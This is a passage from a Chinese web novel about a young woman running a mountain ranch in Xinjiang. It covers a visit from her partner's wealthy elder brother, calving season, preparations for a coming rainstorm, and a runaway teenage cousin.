师星野笑着点头，本身工作就没什么高低贵贱，他去经商也不是觉得这一行地位会有多高，只是想赚钱而已，他就喜欢钱，最喜欢钱，所以就做了自己想做的事情，仅此而已。所以现在听到姚新泉的这个话特别认同。 “你好好干，我虽然不懂这些但也能看出来你是很用心的，而且我到底在大城市里，你如果有什么想要的或者想做的都跟我说，咱们是一家人，别跟我客气。你跟月江好好的，我这个当大哥的心里就高兴。” 姚新泉也不跟他客气，她又不会白要人家东西，“那大哥你回头反正看看有什么新出的关于养殖或者兽医相关的书、杂志、论文之类的到时候给我捎过来呗，我给你钱！” 系统的课程是兽医专业的，但是开牧场养殖牲畜也不是仅仅有兽医就够了的。 他们待在山里有好的地方，也有不好的地方。好的就不多说了，不好的那很大一个就是跟不上外界的发展，她很难凭借自己去找到市面上最新的东西。 比方说有没有科学家培育出来新品种？传统的育种别觉得好像谁都会，让它们自己配不就得了？ 但事实上怎么选育良种？是基于表型的选择还是做系谱分析？或者是杂交？杂交的话什么品种的杂交出来性状会好一点？杂交后的品种是用来繁育还是育肥后出售？这些都是需要专家学者给出一定的意见后姚新泉才敢尝试的。 像家里的湖羊-杜泊羊-阿勒泰羊三元杂交，如果不是有专家在前面给出过意见，她也不敢搞的。 别说牧场还是刚起步，就算已经发展的很好了她也不敢说自己比人家学者专业，那不逗吗？ 这还只是传统育种，听说还有什么分子育种技术，字面意思她都理解不了！很抽象！ 还有在繁育的过程中怎么才能更好地保留某种性状？这些都是需要理论支撑的同时还要经过大量实验的！ 这些实验都不是她一个小小的个人牧场主能负担的，所以她只能踩着前辈们已经淌出来的路过河！ 所以兽医的课程得继续好好学，养殖专业的书也得好好看！ 师月江是知道姚新泉学习起来有多如痴如醉的，所以也开口帮腔，“哥你到时候让助理或者秘书留心一些，有什么都给我们寄过来。” 师星野瞪了他一眼，“还用你说？不过我跟你讲啊，那些东西不止小姚要学，你也得好好学！不是要你学的多厉害，但你不能小姚说什么你都不懂，小姚忙得脚打后脑勺你却只能做做饭，你得给人分担你知道吗？” 姚新泉莞尔一笑，“大哥说得对，让月江跟我一起学！” 师月江讨饶般地拱了拱手，“学！我学还不成嘛！” 师星野笑了笑，给弟弟夹了一筷子黄瓜，他也没别的心思，只是觉得既然以后要干这行了，但总不能十来二十年后还是外行吧？ 而且男人有劣根性，女人一样也有。 他都不敢保证如果自己娶了妻子，妻子在家做全职太太后自己会不会忽略对方的付出，又怎么敢保证姚新泉不会忽略师月江的付出呢？ 师星野低头笑了笑，他从来不会错估人性中恶的那一面。 让师月江也进步也不是说就一定能让他俩未来不出问题，但是他看得出来姚新泉是个很上进，也是会终身学习的女孩子，那他弟弟就不能当只会每天做做家务跑跑腿的杂工！他们得一起进步！ 姚新泉大概猜出他在想什么了，不过无所谓啊，无论师月江学不学专业的东西，她有自信，不管是在专业上还是其他方面来说，这个牧场最终只会有一个声音，那就是她姚新泉的声音！ 师月江可能在下厨上真有几分天赋，红烧肉炒的特别好吃，师星野都没忍住吃了好几大口，事后就觉得有点腻住了。 师月江无语，他把奶茶碗递给师星野，“不算太烫了，里面到底是有茶，也能解解腻，你尝尝？” “不是什么好茶，我们这边煮奶茶都用的砖茶，掰一块儿扔到锅里就成”，姚新泉喝了一口眼睛就眯了起来，牛初乳可真香醇啊！ 师星野把茶叶拨到一边后喝了一口，砖茶其实是有一股苦涩味的，可这股苦涩味被咸味以及牛奶的甜和乳脂的醇厚给中和了，味道真的特别香醇！ 师星野又喝了一口，这下是真发现不一样了，“你们牧场上的牛奶比别的地方的要好，”他语气很是肯定。 这些年他天南海北地没少到处跑，什么没见过呢？牛奶品质比较好的新省、内蒙、西藏他都去过，也都喝过，不少还是当地很有名的奶，可是跟姚新泉家里的还是没法儿比！ “这牛奶你们之后打算怎么处理？” 见师星野问起后续的问题，姚新泉便把自家之前签的合同跟他说了，师星野沉吟了一会儿后很是肯定道，“亏了，你们如果有想法的话回头我让人看看是在这边重新建个厂子还是买下之前那个。” 姚新泉有点被他的大手笔吓到了，赶忙说了自己对牧场的打算，“我们不可能以后就只养牛，而且就算我这个牧场只养牛也未必能供应得上一个厂子的需求啊！” 所以真没必要！ 师星野想了想后还是道，“我带点儿回去做个检测，我觉得你家这牛奶质量肯定比市面上的高，如果不能面向大众，那就面向特定人群，只要价格起来，你亏不了！” 这次姚新泉没拒绝，人家的好意，她欣然接受了，但是到底还是道，“不过我们合同毕竟签了，所以今年也不好毁约，大哥你如果有什么想法，咱们只能商量明年的事情了！” 师月江笑着点头，“有契约精神是好事。” 第108章 三人喝了会儿奶茶后师月江才把可能要下雨的事情跟他讲了,师星野闻言便皱起了眉头，“雨会很大吗？” 姚新泉点了点头，“我没办法百分百肯定,但是至少有八成的几率会是大暴雨,甚至发展成别的灾害。” 师星野有些担忧,“ 那你们两个”,想说要不跟着自己离开吧,可又想着这牧场是姚新泉的心血,总不能有点事情就逃跑吧？ 她不走，那自己更不可能把弟弟带走了，这种特殊时候丢下对象逃跑的男人就算是他弟弟他也看不上的。 “大哥你不用担心，我们这边地势高,就算雨大了也不至于影响到我们俩的安全,牛羊这些关在圈里除了有生病的风险别的倒也还好。” 她们牧场是她爸妈精心挑的地方,虽然是山里但是却不会说是远离人烟，地势高却平，放牧方便,出行方便,像这次的事情也不至于说雨水倒灌之类的，所以危险应该不至于有,就是很影响生产生活。 师星野想了想也是,他叹了口气,“本来还说在这里多待几天,但如果要下雨那我就得提前走了”，公司里一堆的事情，他不可能说被困在这儿十天半个月的，那公司怎么办？ 虽然说不至于联系不上自己公司就完蛋了,但是有很多决定需要自己去做的，再说了如果他被传出出事的传闻，公司人心也会受影响。 他身上系着很重的担子，那么多人的饭碗也都系在他身上，他没办法任性。 看出师星野的遗憾了，姚新泉二人对视一眼后也叹了口气。 “我们冬天的时候还说要加盖几间房子，这段时间忙着没空收拾，回头再盖的时候给大哥你也盖一间，你没事儿了就当过来度假”，姚新泉还挺喜欢师星野的，觉得他特别有大哥的范儿。 他不插手两人的私生活，但是一旦两人需要帮助了，他也完全不会吝惜帮忙，而且也不会说因为他给过帮助就用一种施恩于人的态度与他们相处，反正是个挺好的人。 再说了，师月江一个人来了这里，又留了下来，虽说她也不至于有什么心理负担，但是让他开心一点的事情她还是愿意做的。 师月江含笑看了她一眼，看得师星野牙疼，自己弟弟这栽得可真是！ “我之前还想呢，干脆买两匹好马放到你牧场上面，北京那边也有户外马场，我去过几次，总觉得逼仄，人家让我养两匹马放在里面我也懒得养”，师星野表情很是嫌弃，“马就该在草原上跑，那么小个地方看起来倒是五脏俱全，可人家马跑得不开心，人就能开心了？” 姚新泉自然没意见，“你看你想要什么马，如果是伊犁马、哈萨克马、阿拉伯马、焉耆马这些我能给你找，你如果是想养纯血马或者是阿哈尔捷金马之类的那我现在可无能为力了”，她开了个玩笑，“下半年我跟月江跟着县里去参加乌恰会，等我去认识认识人，搞不好能找到渠道呢！” 师星野给了她个眼神，姚新泉迟疑了，“哥你还真想养汗血宝马啊？那玩意儿可真贵！” 师月江眼神一动，“哥，是之前人家要送你那匹？” 姚新泉眼皮子跳了跳，好家伙，送一匹汗血宝马，这得多少钱啊！有钱人！ 师星野摇了摇头没说话，“等回头我让人送过来，你们就养着玩儿，我要是有时间再过来看你们！” 想到什么他又回了屋子拿来一个公文包那么大盒子，“我差点儿都忘了，这是给你们带的卫星电话，之前月江说那个大哥大小姚你没收，这次我就没给你送这个”，姚新泉松了口气，刚想说自己用不上，这么贵重的东西她收着心理压力太大了。 就听是师星野道，“我就给你提了一辆车，手续办好了，登记在你的名下，你也别多想，不是什么好车，就是一辆代步的皮卡，你们是开也好还是装点东西都成。” 姚新泉眼睛都瞪大了，“不是，大哥这，这我不能收啊！” 师星野拍了拍师月江的肩膀，“我弟弟都给你了，难道还舍不得这辆车？” “你也别有压力，我给你们送东西不是为了炫耀，也不是为了让你们有压力的，你们正常相处，跟这个没任何关系。” “卫星电话是因为你们之前电话线被压断过，大哥大的话信号覆盖不太好，你们带出去有时候容易没信号，这卫星电话”，师星野看着大盒子笑了一下，“其实信号也不是说真能全覆盖，但是至少军事、海事科考这些领域都在用这个，我托朋友搞了两台，只要天气没太坏应该还能联系上，我定期往里面充钱，如果座机跟大哥大联系不上，那就用这个联系。” 师星野叹了口气，表情很是沉重，“你们俩自己在山上，大哥不可能完全放心的，至少得知道你们都是活蹦乱跳的才成啊！” 两人对视一眼都没什么话可说了，只能老实收下。 “那哥你什么时候走？”师月江问道。 “我过会儿让助理给我联系订票，等你哥这两年好好赚赚钱，过两年买架飞机回来，到时候咱们就方便了！” 姚新泉咽了下口水，行吧，她知道她很穷的！ 师月江忍不住笑，“哥你现在又不是买不起”。 师星野瞪他，“我买的起，我也养得起，可我有那么闲钱还不如干点儿赚钱的买卖多赚点钱呢！” 师月江跟姚新泉两人都不是那种不食人间烟火的类型，但是对钱的追求确实也不像师星野一样那么深，有心劝他不要太累着自己，可看师星野那一提起赚钱就好像打了鸡血一样的表情两人都沉默了。 行吧，可能对他来说赚钱是不会觉得累的。 师星野给助理打了电话又确定好了明天下午的飞机后他才问姚新泉，“小姚，你看到时候方便给我带些牛初乳回去吗，我好多朋友家里都有孩子，可以给他们送上一些。” 姚新泉自然不会拒绝，只是有些迟疑，“能上飞机？” 师星野笑了下，那个表情姚新泉不知道该怎么形容，但是她懂了，只是点了点头没再问。 有钱人的事情不要关心好嘛！ 到底记挂着牛那边的事情，姚新泉又陪着说了会儿话便去了牛棚，师月江洗碗，师星野靠在门框上看着他，“在这边过得高兴吗？” 师月江顿了顿，但还是很确定地告诉他，“特别高兴，每一天都很高兴，看到哥你来看我，我就更高兴了！” 师星野蹲下挠了挠凑过来的莱尼的下巴，“瞧瞧，莱尼的爸爸嘴可真甜哦！” 听着师星野捏着嗓子逗莱尼，师月江想笑却还是忍住了。 师星野根本懒得理他，半晌莱尼被逗得不耐烦了，大尾巴在他脸上蹭过后转身离开。 师星野摸了下跟被打了一巴掌一样的脸，“高兴就行！” “行了，你洗完就跟小姚去忙吧，晚上我就在你床上睡了。小姚比你年轻，但是比你懂事，而且这姑娘性子自立要强，你们俩凡事儿有商有量的，别吵别闹”，想了想又道，“吵闹也不打紧，不许说伤人心的话，也别做让人后悔的事。” 等师月江一一答应下来后他轻咳一声，声音里有些不自在，“人家姑娘让你住在这里不代表有别的意思，你也别误会。” 师月江没理解，可当他看到师星野那不自在的表情后脸唰地就红了，“哥你胡说什么呢！” “你是男人，男人的劣根性我们都清楚，但是有些事情可以任性，有些不能。小姚的父母去世还没满一年，要是有个万一你让小姚怎么做人？你年龄比她大，多顾忌着人家女孩儿一些！”师星野的声音中满是严肃，这不是能开玩笑的事情。 师月江无语，看着师星野的表情很是一言难尽，“哥，我在你心里到底是个什么形象？” 师星野移开了目光，这可把师月江气笑了，“你真是，你真是让我不知道怎么说你！” “你说起我来一套一套的，那你自己呢？也不谈对象，也不休息，成天就知道工作？” 师星野哼了一声，“我跟你这种没有追求的人没什么好说的！男欢女爱图的快乐，我在赚钱的路上能百倍得到，俗人！” 师月江投降，“行了你清高，你赶紧睡觉去吧你！” 师星野笑骂了一句小兔崽子，还是去洗漱歇着了，反正又不能赚钱，还不如好好睡觉养好精神好回去赚钱！ 师月江表情很是一言难尽，出了门才想起来自己忘拿东西了，赶紧回屋拿了一床毯子出来去了牛棚，温差大，晚上容易感冒。 牛棚里姚新泉发现了不对，她看向其中一头小牛，很明显腹泻了，屁股那一圈都粘上了。 牛犊腹泻不算太麻烦的病，但是也得早期介入，否则牛犊抵抗力差，不一定能撑得住的。 她摸了下小牛犊的脉象后 叹气，摸不准，只能观察牛犊的粪便，粪便稀薄如水，也没有臭味，而且小牛犊的四肢冰凉，窝在妈妈身边不动，看着似乎是寒湿型腹泻。湿热型腹泻跟脾虚型腹泻与寒湿型腹泻的表现都不大一样。 她拿出纸来写了个方子，师月江过来的时候探头看了一下，“白术没了”。 姚新泉笔尖一顿随即叹了口气，“那没办法了，给它点儿盐水，再喂点蒙脱石散，再来点儿恩诺沙星，明天一早去山下再买点儿药材回来吧！” 第109章 一晚上不算太忙但两人都没闲着,八头母牛生产了，万幸都没难产，姚新泉只需要帮着断脐、消毒,然后再注意观察别有什么产后的病症,另外注意下小牛犊就成。 不是太难的事情,师月江就让姚新泉先睡,自己来就成。 他想了想跑到厨房把自己买的甜菜翻了出来,这本来是打算拿来凉拌的。 他把甜菜切碎后又混合了一些菜籽油,又饭找出来了一根刷子打算给牛编号。 倒也不算浪费，这菜籽油是他之前买回来的，但是姚新泉吃不惯菜籽油的那股味道就扔到一边了。 姚新泉被他的动静吵醒了，打了个呵欠,“你干什么呢？” “我给牛编个号,给小牛编对应的号,到时候知道谁是谁的妈，再记录一下哪头有什么问题重点观察一下，比方说哪头母牛胎盘没落,一目了然了啊！” 姚新泉笑着点头,还给他比了个大拇指，“特别棒！” 师月江失笑,“你别以为我看不出来你能准确分辨出来每一头牛,所以你压根就不需要这样去标记。我是看不大出来,只能用笨办法了！” 对他来说,除非牛身上的花纹有明显的不同，否则他真的很难一眼看出谁是谁的！ “你不可能85头都顾得上，我能帮一些就帮一下吧！” “我没用油漆，毕竟小牛犊才出生,总觉得不太好，甜菜根和菜籽油都没啥问题的东西。” 虽然讲小牛犊的生命力应该没那么弱，但是油漆这种东西能不碰还是不碰吧！ 两人凑活了一夜又到天亮了，艾力自己跑了过来，他脸上表情不大好看，姚新泉便心里有数了，也没继续追问。 其实身份调换一下，如果一个不认识的，也没什么响亮名声的小姑娘小伙子突然跑过来跟她说未来几天要下大暴雨，让他们提前做准备，而不管是广播还是电视里都没有天气预报讲要下雨，她凭什么信？ 不提醒的话她心里不舒服，提醒之后如果大家并没有在意的话那至少她心里没这个疙瘩了。 艾力有些不好意思，“你明明是好心”，想到都生气，有个老东西问他是从哪儿知道的消息，艾力是个不怎么会撒谎的人，所以便直说了，他也没觉得有什么不能说的。 结果倒好，那老东西说了一大堆不中听的话，气得艾力脑瓜子疼！ 姚新泉给他端了一碗师月江煮的奶茶，“你别想那么多了，我只是个牧民，你也只是个兽医而已，咱们该做的都做了，后续没问题最好，我也希望什么意外都别出，但如果真有意外，那到时候能帮的帮一下，也不觉得亏心！” 艾力叹了口气，把奶茶一饮而尽，愁眉苦脸地伸出碗，“再来一碗！” 师月江失笑，给他倒了一大碗。 “你们回去睡觉吧，没啥特殊情况我这给你盯一天，晚上你们再自己来，我年龄大了，晚上估计熬不太住！” 两人也没跟他客气，回去吃了师星野准备的早餐水煮蛋后便睡觉了。 师星野跟艾力打了声招呼，又带着几个小家伙满草原去逛，飞机是下午的，12点左右出发还来的及。 等他逛完回来就看到姚新泉两人提着一个大的尿素袋子，“哥，我们去挖了点儿蒲公英跟苜蓿，你带回去之后蒲公英可以晒干了泡水，也能凉拌，苜蓿的话你让阿姨给你烫一下然后包饺子，都特别好吃！里面还有一袋子西红柿，基本都红了，或者放两天也能红。我们家西红柿种的早，好多人家还不能吃呢！黄瓜差不多大的我们都摘下来了，给你分了一半，你回去生吃也行，让阿姨给你做也行！” 看着一大袋子菜师星野沉默了，行吧，这特产还挺特别的！ “肉什么的这次没来得及准备，回头我们闲下来了再给你寄！”姚新泉还有点不好意思。师星野满打满算来了也就一天，两人谁都没空陪他，就让人家自己瞎转…… “行了，以事业为重，这也是特殊情况，而且我来之前也没跟你们打招呼，都是一家人别想那么多！” 几人正说着话就听到外面的喇叭声，“我助理过来了，你俩别送了我自己走。” 他刚要扛着袋子往外走，就被师月江抢先提起袋子，然后拎起旁边的一个油桶，师星野沉默了。 就见姚新泉又拎起一桶跟着往外走，“他那边那桶是牛初乳，我给你标记了一下，实在是不多，我还得给小牛犊留一些，我这桶就是牛奶，品质也还不错，我们是没办法带上飞机，大哥你要是行的话你就带上。” 师星野笑着摇了摇头，“行，那我多谢你们俩了！” 姚新泉摆了摆手，这算啥，两桶牛奶多少钱？一辆车又多少钱？ “你也跟着过来了，怎么昨天没跟我哥一起到牧场来玩？”师月江避过助理想要接桶的手笑道。 助理看着师月江肩上扛着袋子，手上拎着桶，身上穿着旧迷彩服，脚上踩着布鞋的模样沉默了，还挺接地气？ “师总安排我去处理马肉、马肠子这些生意，我们已经跟县里商量过了，县里成立一家县级食品公司，主要从事的就是收购这些马肉干、牛肉干、马肠子之类的产品，后续还有牛肉干之类的或者本地特产。他们保证质量，咱们公司收购。” 不算复杂的事情，本来不用他们过来的，但是谁让小师总在这呢？ 师星野拍了拍师月江的肩膀，但话却是跟姚新泉说的，“我们也没说要政府照顾你们俩，只是提了一嘴都是一家子亲人，人家领导心里也有数，真有什么麻烦的解决不了的事情，你们也别觉得打扰人家了，该找人找人，大哥这边给你们还人情就成，我还得起。” 不等姚新泉说什么，他又接着道，“知道你们都是好孩子”，师月江听得有点好笑，说姚新泉也就罢了，他们俩出生时间也就差一个小时左右，他还是个孩子啊？ 师星野瞪了他一眼，“反正你们照顾好自己，有事打电话！遇到事情不许逞能知道吗？家里既然有关系，不用的就是傻子。又没有说要去做违规或者犯法的事情，有时候走捷径没那么丢人。大哥我混到今天这一步也不是为了让你们这些弟弟妹妹继续吃苦的！” 姚新泉心里是真的蛮感动的，主动抱了师星野一下，“我们都记下了”。 她在父母这边都是老大，几个弟弟妹妹里最亲近的是张新康，姚家这边几个反倒是都不怎么亲近，也就逢年过节会见见面。 在张新康面前她是非常强势的姐姐，也没有体会过平辈之间的这种兄姐的关爱，感觉还蛮好的！ 看着师星野远处的车，姚新泉轻轻撞了撞师月江的肩膀，“大哥真把咱们当小孩子一样了，他不会还留了钱给你吧？” 师月江摇了摇头，“没有专门留，但他每月都往我账户里打钱的”，他说了个数额，姚新泉嘶了一声，“小少爷，在这真是委屈你了啊！” 师月江无奈弹了她一个脑瓜崩，“行了，回去赶紧做点儿饭吃，该喂的我都喂过了，下午你再睡一会儿，晚上还得熬呢！” 师星野靠在后座上小心给自己系好安全带，“小李，你去联系一下准备好20台小型救生艇跟一百件救生衣，东西就放在市里，密切关注好后天一旦开始下雨，东西立马捐给县政府，东西就以集团的名义捐就行了。” 小李满脸都写着肉疼，一台救生艇，哪怕是只能容纳6个人的最起码得要5000块钱，这就10万冒头了。 救生衣的话最便宜的也要50块了，稍微质量好一点的就得八九十，算下来又是万把块钱，这加起来就是十来万砸进去了啊！ 不知道是不是从后视镜里注意到了他的表情，师星野轻笑一声，“觉得我浪费还是花钱如流水？” 小李赶忙摇头 ，“没有没有，想来您也是为了小师总考虑。” 师星野摇了摇头，就在他以为师星野不会再说什么的时候突然听他道，“乌市那边已经谈下来两个小区的项目了，这边市里的也在谈，你还觉得我是在白花钱吗？” 做善事他倒不会斤斤计较或者说一定要得到同等的回报才肯做，但是既然做了，他肯定会争取自己可以争取到的利益的。 助理又偷瞄了他一眼，怕他发现赶忙收回目光，他还以为大老板是纯弟控，就想为弟弟花钱呢！ 没想到人家赚钱更有一手！ 师星野想了想又道，“你先留在这边吧，待到后天再看下一步怎么走，救生衣增加到1000件，再定两台机械推进式的救生艇，让以最快的速度送过来。” 师星野叹气，到底还是担心那两个孩子，还是多为他们做些什么吧！ 助理抽气，老天爷，这又是十来万！ “食品公司的事情你让公司的人对接好，不是工厂生产的有好处也有坏处，食品安全得保证好，不许出任何问题。”他们是商讨过关于口感跟质量的一个大概收购标准的，但除了味道之外，安全才最重要。 这种零售行业什么都没有口碑重要，一次安全事故可能就会让他们几年的辛苦全部白费！ “你再跟他们确认好，既然可以收购新省特产，其他地方的也让他们去跑跑，未必要量有多大，但是品种多对咱们有好处！” 第110章 “喂,新泉啊”，姚新泉接到张运秋电话的时候还有点惊讶，“小姨夫你怎么想起给我打电话的？” 虽然说两家一个在山上一个在山下,但是有车的情况下不算是太远,他们也不放心姚新泉,所以隔三差五就会上山来看她一次,反倒是电话打的不算多。 张运秋也有点尴尬,“那什么,你弟弟那个瓜皮跟我们吵架了，闹着要离家出走。” 姚新泉愣了一下，“啊？咋回事？咋就吵起来了？人找回来没？” 说着急倒也不算是太着急，毕竟那么大的孩子了,而且张新康真的算是懂事的,也不至于说是头脑发热做出什么离谱的事情来。不过到底才十四五岁,姚新泉也不免多了两分担心。 张运秋在那边恩啊了两声反正也没解释清楚，姚新泉这就知道了，估计是他们做家长的有点儿理亏,她便也不再追问了。 “那人呢？你打给我是想让我帮着找找还是来我这了？” 张运秋在那边拍了下大腿,语气中满是尴尬，“这不是我们跟着他在县城转了两圈,最后发现那孩子往你家那边去了。他要想在你那边待你就留他两天,等周一让他回去上学,你看行吗？” 姚新泉失笑,“这有什么不行的？行了，我出去接接他吧！小姨夫也不是我说你们，你们别老跟我弟吵吵，人家到底也是大孩子了,有自尊心的！” 张运秋敷衍了两声就挂了电话，姚新泉无奈摇了摇头。师月江见状笑了笑，“家里还是你盯着吧，我去接接他？”牛还没生完呢，还得姚新泉盯着。 姚新泉点头，“那成，你们也见过的，把他带上来就行”，说着有点发愁，“你说明天就得下雨了，到时候他想下山都下不去，再过半个月他们就得期末考试吧！可不就麻烦了？但他们跟我说这个，我也不可能说是不行，让孩子回去，这成什么了？” 师月江倒没觉得是什么大问题，“雨要是真有那么大，那县里都受影响，学校肯定没法儿正常上课。要是学校不受影响的话那只能说明雨没那么大，到时候我送他下山就行！” 姚新泉想了想也是，给师月江塞了两个西红柿在口袋里后自己又去了牛棚。 这两天又生了不少，但都没出什么大麻烦。有一头母牛生了之后胎盘一直没排出来，但姚新泉给它灌了一副药后便也正常了，所以还算是轻松的，今天就没让艾力过来。 他年龄不算小了，前两天白天接连过来帮自己盯着，然后她跟师月江补觉，人家也不是没有别的事情，只能抽空去做，很是辛苦，姚新泉记着这份情，但确实不好意思让他再来了。 当然她也不是说死要面子活受罪，姚新泉给剩下的牛都做了检查，胎位是正的，身体状况也不错，又都是单胎，正常情况都是能顺产，并且不需要太多干预的，所以应该是忙得过来。 而且如果只是断脐这些的话，师月江如今已经可以跟她分担了，压力没那么大。 她去了牛棚后把一头标记好了37号的小牛犊从28号牛妈妈的肚子底下揪出来放到它妈面前。 她都无语死了！姚新泉没忍住揪了揪小牛犊的耳朵，“傻小子，你咋连你妈是谁都认不出来啊！” 从这娃出生到现在，只要姚新泉离开回来，就能看到这孩子去找了别的妈！ 也万幸的是她们家母牛的攻击性不强，不至于说见到不是自己的孩子就对人家动蹄子…… 她把电动挤奶器安上，除了才出生的那一波以外前头的母牛产的奶小牛已经吃不下了，所以姚新泉给挤奶器做好标记，分开是褐牛还是黑白花后让挤奶器工作。 今天早晨已经给下面的奶制品厂送去了六七百公斤的牛奶，听上去吓人，但是实际上就是正常产奶量。 奶牛身上也算是见到了回头钱了！ 另一边师月江骑着摩托车快到了山脚下的时候才看到张新康的，两人见过几面，互相都是认得的。 张新康见到对方后不大好意思地低声打了声招呼，“月江哥”。 师月江也没说是特意来接他的，见他还把书包背上了便调转车头示意他上车。 张新康敢跟他姐插科打诨，但是不知道为什么在看着很是温和的师月江面前却根本不敢放肆。 他还挺好奇怎么在这里碰到对方了，但是根本不敢问，老老实实坐上后座…… 感受到对方小心翼翼撑着身体往后靠，尽量不要挨着自己，师月江心里觉得好笑，他有这么吓人吗？ 要是张新康知道他在想什么肯定疯狂点头，有！ 两人第一次见面是在牧场里，当时他来给姚新泉送他爸自己腌的咸鸭蛋，结果到的时候就看到师月江面无表情地把鸡爪踩在脚下，一手拽着鸡头，一手拿刀轻轻在鸡脖子上一抹，鲜血就顺着流到了提前备好的碗里。 按道理讲这也不是什么特别的事情，他虽 然没杀过鸡，但是他爸杀过很多啊！这确实是正常流程啊！ 可也不知道是他当时的表情太过冷漠还是什么，明明他的脸上没有沾染分毫，但是张新康总觉得对方脸上就跟他偷摸看得恐怖电影里的杀人凶手一样，脸上全都是溅得死者的血迹！ 当对方满脸冷漠的看过来时，张新康只觉得心都像是被人捏住了一样！ 师月江是不知道他戏这么多的，两人不算熟，他把口袋里的西红柿给了他，然后转身骑着摩托车上山。 停车后师月江很确定他听到了对方如释重负般地松了一口气，师月江差点儿没笑出声来！ 这小孩儿真逗！ “姐！”张新康小跑到姚新泉身边后脸上的紧张才褪去，像是找到依靠一样朝对方得意地昂了昂脖子。姚新泉自然是看到这个傻弟弟的表情了，她都懒得说什么，“咋回事儿啊？跟你爸妈闹什么呢？” “你咋知道啊？”张新康有些尴尬的抿了抿唇，他都这么大的人了…… 姚新泉无奈，“我能咋知道的？我能掐会算行了吧？还不是你爸给我打电话担心你嘛！” “他才不担心我呢！”张新康嘟嘟囔囔也不敢大声说话，他爸妈要是想打他，他还敢跑。要是他姐知道自己跟爸妈吵架了要打他，他可不敢躲！ “行了行了，我就问你一句，是不是大事儿，用不用我插手？” “他没跟你说啊？” 见那臭小子不太信的表情姚新泉就觉得手痒想揪他耳朵，但是抬手一看手上还有手套又放下手来，“你跟你爸吵架了不好意思告诉我，难道你觉得你爸那么大个人了跟儿子吵架他就好意思跟我讲细节了？” 张新康觉得有道理嘿嘿一笑，“不是什么大事儿，姐你放心吧！” 她仔细看了看张新康的表情，确认确实没什么事儿之后点了点头，“那我就不管了啊，等到时候自己乖乖回去上课！” 张新康开玩笑，“姐你还赶我啊！怎么牧场里有别的男人了，姐你就不爱我了是吧？” 姚新泉气笑了，扭过头看师月江，“你把这孩子拎出去揍一顿吧！” 见师月江还真往自己这边走了两步，吓得张新康赶忙往后躲，“爱爱爱！姐你爱月江哥！不对，爱姐夫成了吧！” 师月江眼中的笑意根本掩饰不住，倒是姚新泉觉得丢脸的不行，“行了行了，赶紧把东西放下！你自己看，家里有个弹簧床，是给你放在师月江的屋子还是客厅？” “客厅！”生怕姚新泉让他跟师月江住在一起，他赶紧道。 “行，那就晚点儿再给你收拾床，过会儿你跟你月江哥去掐点苜蓿回来，晚上让他给你包饺子吃！” “我们再挖点儿马生菜吧，回来烫一下包包子！”反正后面几天也干不成什么正事儿，那就想办法吃呗！ 姚新泉点了点头让他们自己去折腾，她又跑了一趟炽焰那边，炽焰的腿边上被磨破了，她得赶紧去给他收拾下伤口。 还得给他按摩一下脚。 这两天因为牛的事情基本都顾不上他了，正常的换药熬药都有在做，师月江熬药，换药还得她来。 至于按摩的话，其实不管是手法还是部位她都已经教给过师月江了，但问题是炽焰那个臭小子不让别人靠近啊！ 喂食什么的也就罢了，绝对不允许任何人碰他的伤口，别人一靠近或者触碰，他就借着支架的力撑一下腿，然后用那条好腿踹人…… 姚新泉第一次看到的时候眼珠子都差点儿掉下来，他是真不想好了啊！ 从那之后再不敢让别人碰他的腿了！ “行了你也别装委屈了”，姚新泉没好气地推开他凑过来的马头，把药给他上好后没再用纱布之类的包裹，“腿恢复的不错，回头我跟杜若林说说让你战友们也高兴高兴好吗？” 炽焰哼哼两声，但能感受到他确实是开心的。 姚新泉的目光也软了起来，“你还能去服役呢！你又年轻又健康又好看还是一匹热爱工作的好马，谁能不喜欢你呢！” 炽焰叫了起来，声音中满是喜悦，姚新泉心中冷笑，这就是一匹傲娇的爱听好话的马，听了好话感觉伤口都恢复得快了呢！ 110-120 第111章 晚上张新康虽然也想陪着两人熬着,但要新泉没同意，“晚上你又帮不上什么忙，赶紧去睡吧！” 张新康撅了撅嘴也没敢跟她闹,只能委屈巴巴去客厅铺好的弹簧床上睡下了。 姚新泉没再管他,“牲畜都赶回来了吧？数量都对上了吗？” 师月江点头,“牛羊马全都回来了,鸡鸭鹅也从那边赶回来了,就连小金和小白鼬都回来了。” 姚新泉点了点头,她绕着畜棚转了两圈，确认是稳固的并且没有会漏雨的地方这才放下心来。 “咱们家那边的排水沟还有畜棚这边的排水沟都挖好了，短期也不至于内涝的。” 姚新泉叹了口气，脸上表情不大好看,“晚上的时候我听到广播里说了明天会有雨,不知道大家有没有重视起来”,她这边这么多是根本顾及不了别处。 “玉米估计会被打断不少，补种估计也不太行，产量肯定得受影响,冬麦还得种一茬,到时候问问看要不要补种些别的吧！” 别说种的青贮了，草场估计都得受点儿影响…… “这开年来就没怎么顺过！”姚新泉恨恨道,好不容易那污染的事情算是勉强告一段落了,现在又来了暴雨。 老百姓的日子真的太难了！ “上回给咱们牧场丢马蜂的那家伙我知道是谁了,也问出来了些东西,猜猜是谁干的？” 姚新泉想了想，自己回来快一年了，算下来其实没和谁结果仇啊！ “我又不抢人生意，又不抢人草场,虽然算不上大好人，但是也勉强算得上一句与人为善吧！谁会这样干？” 师月江冷笑一声，“你觉得自己没伤害过别人，但别人却觉得如果不是因为你，他们可不会遭罪呢！” 姚新泉灵光一闪，“那个排污的？” 见师月江点了点头，她眉毛竖了起来，“他们脑子有病吧？先不说这本来就是他们在违法犯罪，就单说就算我没发现，这条河上下游那么多人和牲畜，被发现不是迟早的事情？严格来说，早发现，早处理，还给他们减少损失了呢！” 师月江摊手，“你跟他们难道还能讲道理？” 如果能听得进去道理的话，他们怎么可能为了那么一点儿蝇头小利就干出这种事情来？ “那老板不是进去了吗？”找出来是谁干的之后那老板第一时间就被抓进去了，不可能放出来的！ “他老婆干的”，接着师月江跟她讲了讲那家人的情况。 那个老板因为胆大心细赚到了第一桶金，上岸第一剑先斩意中人，把他原配妻子给踹了。 这人跟一个二流子给勾搭上了，那小三还把自个儿的弟弟给弄进了厂子里，“据说就是她这个弟弟瞒着那个老板干的。” 姚新泉冷笑，“那源头也在他那里，这种人我真是！”那人要是在她面前，她非得好好收拾上一通才解气！ “那老板跟他后来的小舅子都进去了，但那个小三确实是不知道情况，所以人在外面。她从前来往的都是些小混混，所以又找了那些人来寻咱们的不是！” “人公安那边已经抓走了，不过顶多给个行政处罚，关几天就出来了！” 姚新泉气得人都精神了，“就这么放过他们了？” 师月江轻笑了下没再继续说下去，但姚新泉觉得他这表情不对便多追问了几句，师月江被磨得不行，只能含糊几句，“咱们的事情上她是得不到太多的惩罚，但是她之前身上的事情可不少呢！” 